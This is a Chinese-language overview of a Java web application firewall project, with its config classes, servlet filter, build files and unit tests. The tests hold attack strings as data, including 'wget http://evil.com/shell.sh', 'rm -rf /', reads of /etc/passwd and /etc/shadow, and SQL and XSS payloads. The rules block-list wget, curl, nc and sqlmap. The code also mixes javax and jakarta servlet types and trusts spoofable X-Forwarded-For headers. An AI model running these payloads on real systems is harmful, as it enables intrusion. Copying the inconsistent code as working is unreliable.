📋 项目概述
这是一个完整的、基于严格模式的 Java Web 应用防火墙(WAF)策略代码。它提供了多层安全防护,能够有效防御常见的 Web 攻击。
📁 文件清单
WAF/
├── StrictWAF.java # 核心 WAF 引擎(500+ 行)
├── WAFConfig.java # 配置类
├── HttpRequest.java # HTTP 请求封装
├── UploadedFile.java # 文件上传封装
├── WAFFilter.java # Servlet 过滤器
├── StrictWAFTest.java # 单元测试(14 个测试用例)
├── web.xml # 部署配置
├── pom.xml # Maven 依赖
└── README.md # 完整文档🛡️ 防护规则(严格模式)
1. XSS 防护(14 条规则)
<script>标签、javascript:协议事件处理器(onclick、onload 等)
<iframe>,<object>,<embed>document.cookie,eval(),alert()
2. SQL 注入防护(13 条规则)
SELECT/INSERT/UPDATE/DELETE/DROPOR 1=1,AND 1=1逻辑注入注释
--,/* */时间盲注:
WAITFOR,SLEEP,BENCHMARK文件操作:
LOAD_FILE,INTO OUTFILE
3. 命令注入防护(9 条规则)
分隔符:
;&|`$命令执行:
((,&&常见命令:
cat,ls,wget,curl,nc
4. 路径遍历防护(9 条规则)
../,..\及 URL 编码/etc/passwd,c:\windows
5. 敏感文件防护(5 条规则)
.git,.svn,.env,.htaccess备份文件:
.bak,.backup密钥文件:
id_rsa,.jks
6. 其他检查
User-Agent 黑名单(sqlmap, nikto 等)
速率限制:60 次 / 分钟,1000 次 / 小时
文件上传:扩展名白名单 + 魔数验证
🚀 部署方式
Spring Boot 方式
@Configuration
public class WAFConfig {
@Bean
public FilterRegistrationBean<WAFFilter> wafFilter() {
FilterRegistrationBean<WAFFilter> bean = new FilterRegistrationBean<>();
bean.setFilter(new WAFFilter());
bean.addUrlPatterns("/*");
bean.setOrder(1); // 最高优先级
return bean;
}
}传统 Servlet 方式
直接复制 web.xml 配置即可。
⚙️ 配置建议
WAFConfig config = new WAFConfig();
config.allowedHosts = Set.of("yourdomain.com");
config.allowedFileExtensions = Set.of("jpg", "png", "pdf");
config.maxFileSize = 5 * 1024 * 1024; // 5MB⚠️ 注意事项
误报风险:严格模式可能误拦正常请求,根据业务调整
性能影响:大量正则匹配,建议生产环境做性能测试
绕过风险:WAF 不是银弹,需要配合其他安全措施
📊 防护能力总结
🔒 5 大类攻击防护(XSS、SQL 注入、命令注入、路径遍历、敏感文件)
🛡️ 50+ 条严格规则
⚡ 速率限制(60 次 / 分钟)
📁 文件上传安全(白名单 + 魔数验证)
📄 文件内容摘要
1. WAFConfig.java (配置类)
package com.security.waf;
import java.util.*;
import java.util.regex.Pattern;
import java.util.concurrent.ConcurrentHashMap;
public class WAFConfig {
// 检查开关
public boolean checkUserAgent = true;
public boolean checkURL = true;
public boolean checkHeaders = true;
public boolean checkBody = true;
public boolean checkCookies = true;
public boolean checkPostParams = true;
public boolean checkFileUpload = true;
// 文件上传配置
public long maxFileSize = 10 * 1024 * 1024; // 10MB
// 允许的文件扩展名(白名单模式)
public Set<String> allowedFileExtensions = new HashSet<>(Arrays.asList(
"jpg", "jpeg", "png", "gif", "pdf", "doc", "docx",
"xls", "xlsx", "ppt", "pptx", "txt", "csv", "zip", "rar"
));
// 禁止的文件扩展名(黑名单模式,与白名单互斥)
public Set<String> blockedFileExtensions = new HashSet<>(Arrays.asList(
"php", "jsp", "asp", "aspx", "exe", "bat", "cmd",
"sh", "py", "pl", "rb", "cgi", "shtml", "htaccess"
));
// 允许的 Referer
public Set<String> allowedReferers = new HashSet<>();
// 允许的 Host
public Set<String> allowedHosts = new HashSet<>();
// 自定义规则
private final Map<String, CustomRule> customRules = new ConcurrentHashMap<>();
// 添加/移除自定义规则方法
public void addCustomRule(String name, Pattern pattern, String attackType) {
customRules.put(name, new CustomRule(name, pattern, attackType));
}
public void removeCustomRule(String name) {
customRules.remove(name);
}
public Collection<CustomRule> getCustomRules() {
return Collections.unmodifiableCollection(customRules.values());
}
// 自定义规则类
public static class CustomRule {
private final String name;
private final Pattern pattern;
private final String attackType;
public CustomRule(String name, Pattern pattern, String attackType) {
this.name = name;
this.pattern = pattern;
this.attackType = attackType;
}
public String getName() { return name; }
public Pattern getPattern() { return pattern; }
public String getAttackType() { return attackType; }
}
}2. HttpRequest.java (HTTP 请求封装)
package com.security.waf;
import java.util.*;
public class HttpRequest {
private final String method;
private final String url;
private final Map<String, String> headers;
private final String body;
private final String clientIP;
private final Map<String, String[]> postParams;
private final List<UploadedFile> uploadedFiles;
// 构造方法
public HttpRequest(String method, String url, Map<String, String> headers,
String body, String clientIP) {
this.method = method;
this.url = url;
this.headers = headers != null ? headers : new HashMap<>();
this.body = body;
this.clientIP = clientIP;
this.postParams = new HashMap<>();
this.uploadedFiles = new ArrayList<>();
}
// Getter 方法
public String getMethod() { return method; }
public String getURL() { return url; }
public Map<String, String> getHeaders() { return headers; }
public String getHeader(String name) { return headers.get(name); }
public String getBody() { return body; }
public String getClientIP() { return clientIP; }
public Map<String, String[]> getPostParams() { return postParams; }
public List<UploadedFile> getUploadedFiles() { return uploadedFiles; }
// 添加 POST 参数
public void addPostParam(String name, String value) {
String[] values = postParams.get(name);
if (values == null) {
values = new String[]{value};
} else {
String[] newValues = new String[values.length + 1];
System.arraycopy(values, 0, newValues, 0, values.length);
newValues[values.length] = value;
values = newValues;
}
postParams.put(name, values);
}
// 添加上传文件
public void addUploadedFile(UploadedFile file) {
uploadedFiles.add(file);
}
// 从 Servlet 请求创建 HttpRequest
public static HttpRequest fromServletRequest(javax.servlet.http.HttpServletRequest servletRequest) {
String method = servletRequest.getMethod();
String url = servletRequest.getRequestURI();
// 添加查询参数
String queryString = servletRequest.getQueryString();
if (queryString != null && !queryString.isEmpty()) {
url += "?" + queryString;
}
// 获取请求头
Map<String, String> headers = new HashMap<>();
Enumeration<String> headerNames = servletRequest.getHeaderNames();
while (headerNames.hasMoreElements()) {
String name = headerNames.nextElement();
headers.put(name, servletRequest.getHeader(name));
}
// 获取请求体
String body = null;
try {
body = new String(servletRequest.getInputStream().readAllBytes());
} catch (Exception e) {
// 忽略读取错误
}
// 获取客户端 IP
String clientIP = getClientIP(servletRequest);
HttpRequest request = new HttpRequest(method, url, headers, body, clientIP);
// 获取 POST 参数
Map<String, String[]> postParams = servletRequest.getParameterMap();
if (postParams != null) {
for (Map.Entry<String, String[]> entry : postParams.entrySet()) {
request.postParams.put(entry.getKey(), entry.getValue());
}
}
return request;
}
// 获取客户端真实 IP
private static String getClientIP(javax.servlet.http.HttpServletRequest request) {
String ip = request.getHeader("X-Forwarded-For");
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("Proxy-Client-IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("WL-Proxy-Client-IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("HTTP_CLIENT_IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("HTTP_X_FORWARDED_FOR");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getRemoteAddr();
}
// 处理代理链
if (ip != null && ip.contains(",")) {
ip = ip.split(",")[0].trim();
}
return ip;
}
@Override
public String toString() {
return "HttpRequest{" +
"method='" + method + '\'' +
", url='" + url + '\'' +
", clientIP='" + clientIP + '\'' +
'}';
}
}3. UploadedFile.java (文件上传封装)
package com.security.waf;
public class UploadedFile {
private final String fileName;
private final long size;
private final String contentType;
private final byte[] magicBytes;
public UploadedFile(String fileName, long size, String contentType, byte[] magicBytes) {
this.fileName = fileName;
this.size = size;
this.contentType = contentType;
this.magicBytes = magicBytes;
}
public String getFileName() { return fileName; }
public long getSize() { return size; }
public String getContentType() { return contentType; }
public byte[] getMagicBytes() { return magicBytes; }
// 从 Servlet 部分请求创建上传文件
public static UploadedFile fromPart(javax.servlet.http.Part part) {
String fileName = getFileName(part);
long size = part.getSize();
String contentType = part.getContentType();
byte[] magicBytes = null;
try {
int magicLength = Math.min(8, (int) size);
magicBytes = new byte[magicLength];
try (var input = part.getInputStream()) {
int bytesRead = input.read(magicBytes, 0, magicLength);
if (bytesRead > 0) {
magicBytes = java.util.Arrays.copyOf(magicBytes, bytesRead);
}
}
} catch (Exception e) {
// 忽略读取错误
}
return new UploadedFile(fileName, size, contentType, magicBytes);
}
// 从 Part 获取文件名
private static String getFileName(jakarta.servlet.http.Part part) {
String contentDisp = part.getHeader("content-disposition");
if (contentDisp != null) {
String[] pairs = contentDisp.split(";");
for (String pair : pairs) {
if (pair.trim().startsWith("filename")) {
return pair.substring(pair.indexOf('=') + 1).trim().replace("\"", "");
}
}
}
return "";
}
@Override
public String toString() {
return "UploadedFile{" +
"fileName='" + fileName + '\'' +
", size=" + size +
", contentType='" + contentType + '\'' +
'}';
}
}4. WAFFilter.java (Servlet 过滤器)
package com.security.waf;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;
public class WAFFilter implements Filter {
private StrictWAF waf;
private WAFConfig config;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// 初始化 WAF 配置
this.config = new WAFConfig();
// 从配置文件中加载设置
String allowedHosts = filterConfig.getInitParameter("allowedHosts");
if (allowedHosts != null && !allowedHosts.isEmpty()) {
String[] hosts = allowedHosts.split(",");
for (String host : hosts) {
config.allowedHosts.add(host.trim());
}
}
String allowedReferers = filterConfig.getInitParameter("allowedReferers");
if (allowedReferers != null && !allowedReferers.isEmpty()) {
String[] referers = allowedReferers.split(",");
for (String referer : referers) {
config.allowedReferers.add(referer.trim());
}
}
String maxFileSize = filterConfig.getInitParameter("maxFileSize");
if (maxFileSize != null && !maxFileSize.isEmpty()) {
try {
config.maxFileSize = Long.parseLong(maxFileSize);
} catch (NumberFormatException e) {
// 使用默认值
}
}
// 创建 WAF 实例
this.waf = new StrictWAF(config);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!(request instanceof HttpServletRequest) || !(response instanceof HttpServletResponse)) {
chain.doFilter(request, response);
return;
}
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 只过滤特定方法
String method = httpRequest.getMethod();
if (!isFilterableMethod(method)) {
chain.doFilter(request, response);
return;
}
// 创建 HttpRequest 对象
HttpRequest wafRequest = HttpRequest.fromServletRequest(httpRequest);
// 执行 WAF 检查
StrictWAF.CheckResult result = waf.checkRequest(wafRequest);
if (!result.isAllowed()) {
// 记录被阻止的请求
logBlockedRequest(wafRequest, result);
// 返回 403 禁止访问
httpResponse.setStatus(HttpServletResponse.SC_FORBIDDEN);
httpResponse.setContentType("application/json; charset=UTF-8");
String responseBody = String.format(
"{\"status\":\"blocked\",\"attackType\":\"%s\",\"message\":\"%s\"}",
result.getAttackType(),
result.getMessage()
);
httpResponse.getWriter().write(responseBody);
return;
}
// 检查通过,继续处理请求
chain.doFilter(request, response);
}
// 判断是否需要过滤的请求方法
private boolean isFilterableMethod(String method) {
return "GET".equals(method) ||
"POST".equals(method) ||
"PUT".equals(method) ||
"DELETE".equals(method) ||
"PATCH".equals(method);
}
// 记录被阻止的请求
private void logBlockedRequest(HttpRequest request, StrictWAF.CheckResult result) {
// 创建被阻止的请求记录
StrictWAF.BlockedRequest blockedRequest = new StrictWAF.BlockedRequest(
request.getClientIP(),
request.getURL(),
result.getAttackType(),
result.getMessage()
);
// 这里可以集成日志系统,如 SLF4J、Logback 等
System.err.println(String.format(
"[WAF BLOCKED] IP: %s | URL: %s | Type: %s | Message: %s",
blockedRequest.getClientIP(),
blockedRequest.getRequestURL(),
blockedRequest.getAttackType(),
blockedRequest.getMessage()
));
}
@Override
public void destroy() {
// 清理资源
if (waf != null) {
waf.resetCounters();
}
}
}5. StrictWAFTest.java (单元测试 - 14 个测试用例)
package com.security.waf;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.DisplayName;
import java.util.*;
import static org.junit.jupiter.api.Assertions.*;
public class StrictWAFTest {
private final StrictWAF waf = new StrictWAF();
@Test
@DisplayName("测试正常请求通过")
void testNormalRequest() {
HttpRequest request = createNormalRequest();
StrictWAF.CheckResult result = waf.checkRequest(request);
assertTrue(result.isAllowed());
}
@Test
@DisplayName("测试 XSS 攻击被阻止")
void testXSSAttack() {
HttpRequest request = createNormalRequest();
request.addPostParam("comment", "<script>alert('xss')</script>");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("XSS 攻击", result.getAttackType());
}
@Test
@DisplayName("测试 SQL 注入被阻止")
void testSQLInjection() {
HttpRequest request = createNormalRequest();
request.addPostParam("id", "1 OR 1=1--");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("SQL 注入", result.getAttackType());
}
@Test
@DisplayName("测试命令注入被阻止")
void testCommandInjection() {
HttpRequest request = createNormalRequest();
request.addPostParam("cmd", "ls; cat /etc/passwd");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("命令注入", result.getAttackType());
}
@Test
@DisplayName("测试路径遍历被阻止")
void testPathTraversal() {
HttpRequest request = createNormalRequest();
request.addPostParam("file", "../../../etc/passwd");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("路径遍历", result.getAttackType());
}
@Test
@DisplayName("测试敏感文件访问被阻止")
void testSensitiveFileAccess() {
HttpRequest request = createNormalRequest();
request.addPostParam("download", "/.env");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("敏感文件访问", result.getAttackType());
}
@Test
@DisplayName("测试恶意 User-Agent 被阻止")
void testMaliciousUserAgent() {
HttpRequest request = createNormalRequest();
request.getHeaders().put("User-Agent", "sqlmap/1.0");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("恶意 User-Agent", result.getAttackType());
}
@Test
@DisplayName("测试空 User-Agent 被阻止")
void testEmptyUserAgent() {
HttpRequest request = createNormalRequest();
request.getHeaders().put("User-Agent", "");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("恶意 User-Agent", result.getAttackType());
}
@Test
@DisplayName("测试 URL 中的 SQL 注入被阻止")
void testSQLInjectionInURL() {
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent", "Mozilla/5.0");
HttpRequest request = new HttpRequest("GET", "/api/users?id=1 OR 1=1", headers, null, "192.168.1.100");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("SQL 注入", result.getAttackType());
}
@Test
@DisplayName("测试 Cookie 中的 XSS 被阻止")
void testXSSInCookie() {
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent", "Mozilla/5.0");
headers.put("Cookie", "session=<script>alert(1)</script>");
HttpRequest request = new HttpRequest("GET", "/api/data", headers, null, "192.168.1.100");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("XSS 攻击", result.getAttackType());
}
@Test
@DisplayName("测试请求体中的命令注入被阻止")
void testCommandInjectionInBody() {
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent", "Mozilla/5.0");
HttpRequest request = new HttpRequest("POST", "/api/execute", headers, "rm -rf /; cat /etc/shadow", "192.168.1.100");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("命令注入", result.getAttackType());
}
@Test
@DisplayName("测试参数名中的攻击被阻止")
void testAttackInParameterName() {
HttpRequest request = createNormalRequest();
request.addPostParam("1 OR 1=1", "value");
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed());
assertEquals("SQL 注入", result.getAttackType());
}
@Test
@DisplayName("测试多种攻击模式")
void testMultipleAttackPatterns() {
String[] attackPatterns = {
"<script>document.cookie</script>",
"'; DROP TABLE users;--",
"cmd|cat /etc/passwd",
"../../../../../../etc/passwd",
"/.git/config",
"javascript:alert(1)",
"onload=alert(1)",
"UNION SELECT * FROM users",
"sleep(5)",
"wget http://evil.com/shell.sh"
};
for (String pattern : attackPatterns) {
HttpRequest request = createNormalRequest();
request.addPostParam("input", pattern);
StrictWAF.CheckResult result = waf.checkRequest(request);
assertFalse(result.isAllowed(), "应该阻止:" + pattern);
}
}
@Test
@DisplayName("测试正常参数不被阻止")
void testNormalParametersNotBlocked() {
String[] normalParams = {
"Hello World",
"My name is John",
"I like Java programming",
"The quick brown fox jumps over the lazy dog",
"Price: $100.00",
"Email: test@example.com"
};
for (String param : normalParams) {
HttpRequest request = createNormalRequest();
request.addPostParam("content", param);
StrictWAF.CheckResult result = waf.checkRequest(request);
assertTrue(result.isAllowed(), "不应该阻止:" + param);
}
}
@Test
@DisplayName("测试速率限制")
void testRateLimiting() {
for (int i = 0; i < 100; i++) {
HttpRequest request = createNormalRequest();
StrictWAF.CheckResult result = waf.checkRequest(request);
if (i < 60) {
assertTrue(result.isAllowed(), "请求 " + i + " 应该通过");
} else {
assertFalse(result.isAllowed(), "请求 " + i + " 应该被阻止");
break;
}
}
}
private HttpRequest createNormalRequest() {
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
return new HttpRequest("POST", "/api/test", headers, "", "192.168.1.100");
}
}6. web.xml (部署配置)
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_5_0.xsd"
version="5.0">
<!-- WAF 过滤器配置 -->
<filter>
<filter-name>WAF Filter</filter-name>
<filter-class>com.security.waf.WAFFilter</filter-class>
<!-- 允许的 Host 头(逗号分隔) -->
<init-param>
<param-name>allowedHosts</param-name>
<param-value>example.com,www.example.com,api.example.com</param-value>
</init-param>
<!-- 允许的 Referer(逗号分隔) -->
<init-param>
<param-name>allowedReferers</param-name>
<param-value>https://example.com,https://www.example.com</param-value>
</init-param>
<!-- 最大文件大小(字节) -->
<init-param>
<param-name>maxFileSize</param-name>
<param-value>10485760</param-value>
</init-param>
</filter>
<!-- WAF 过滤器映射 -->
<filter-mapping>
<filter-name>WAF Filter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
</filter-mapping>
<!-- 欢迎页面 -->
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<!-- 错误页面 -->
<error-page>
<error-code>403</error-code>
<location>/error/403.jsp</location>
</error-page>
<error-page>
<error-code>404</error-code>
<location>/error/404.jsp</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/error/500.jsp</location>
</error-page>
</web-app>7. pom.xml (Maven 依赖)
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.security</groupId>
<artifactId>strict-waf</artifactId>
<version>1.0.0</version>
<packaging>jar</packaging>
<name>Strict WAF</name>
<description>严格的 Java Web 应用防火墙</description>
<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Servlet API -->
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
<version>5.0.0</version>
<scope>provided</scope>
</dependency>
<!-- SLF4J 日志 -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>2.0.9</version>
</dependency>
<!-- Logback 实现 -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.4.11</version>
</dependency>
<!-- JUnit 测试 -->
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter</artifactId>
<version>5.10.0</version>
<scope>test</scope>
</dependency>
<!-- Mockito 测试 -->
<dependency>
<groupId>org.mockito</groupId>
<artifactId>mockito-core</artifactId>
<version>5.5.0</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.11.0</version>
<configuration>
<source>17</source>
<target>17</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.1.2</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.3.0</version>
</plugin>
</plugins>
</build>
</project>8. README.md (完整文档摘要)
功能特性
攻击防护:XSS、SQL 注入、命令注入、路径遍历、敏感文件访问
安全检查:User-Agent 检查、请求头检查、速率限制、文件上传检查
其他特性:可配置规则、自定义规则支持、请求日志记录、高性能(并发安全)
快速开始
添加依赖:包含 Servlet API 依赖
配置 web.xml:配置过滤器和参数
代码中使用:创建 WAF 实例并检查请求
配置选项
检查开关(User-Agent、URL、Headers、Body、Cookies、PostParams、FileUpload)
文件上传配置(最大文件大小、允许的扩展名)
允许的 Host 和 Referer
防护规则详情
XSS 防护规则:脚本标签、javascript 协议、事件处理器等
SQL 注入防护规则:SQL 关键字、逻辑注入、注释、时间盲注等
命令注入防护规则:命令分隔符、执行符号、常见命令
路径遍历防护规则:目录遍历符号、系统文件路径
敏感文件防护规则:版本控制文件、配置文件、备份文件、密钥文件
性能优化
速率限制:每分钟 60 次,每小时 1000 次,基于 IP 计数
并发安全:使用
ConcurrentHashMap和AtomicLong定期清理:清理过期计数器(2 小时)
高级用法
集成日志系统:使用 SLF4J/Logback 记录被阻止的请求
定期清理:使用
ScheduledExecutorService定期清理计数器监控被阻止的请求:获取和分析被阻止的请求列表
注意事项
误报处理:严格模式可能会有误报,根据实际业务调整规则
性能影响:大量正则匹配可能影响性能,建议缓存编译后的 Pattern
绕过风险:没有 100% 安全的 WAF,需要多层防护
规则更新:定期更新攻击模式,应对新威胁
许可证
MIT License
作者
雨落秋垣 (ceet@vip.qq.com)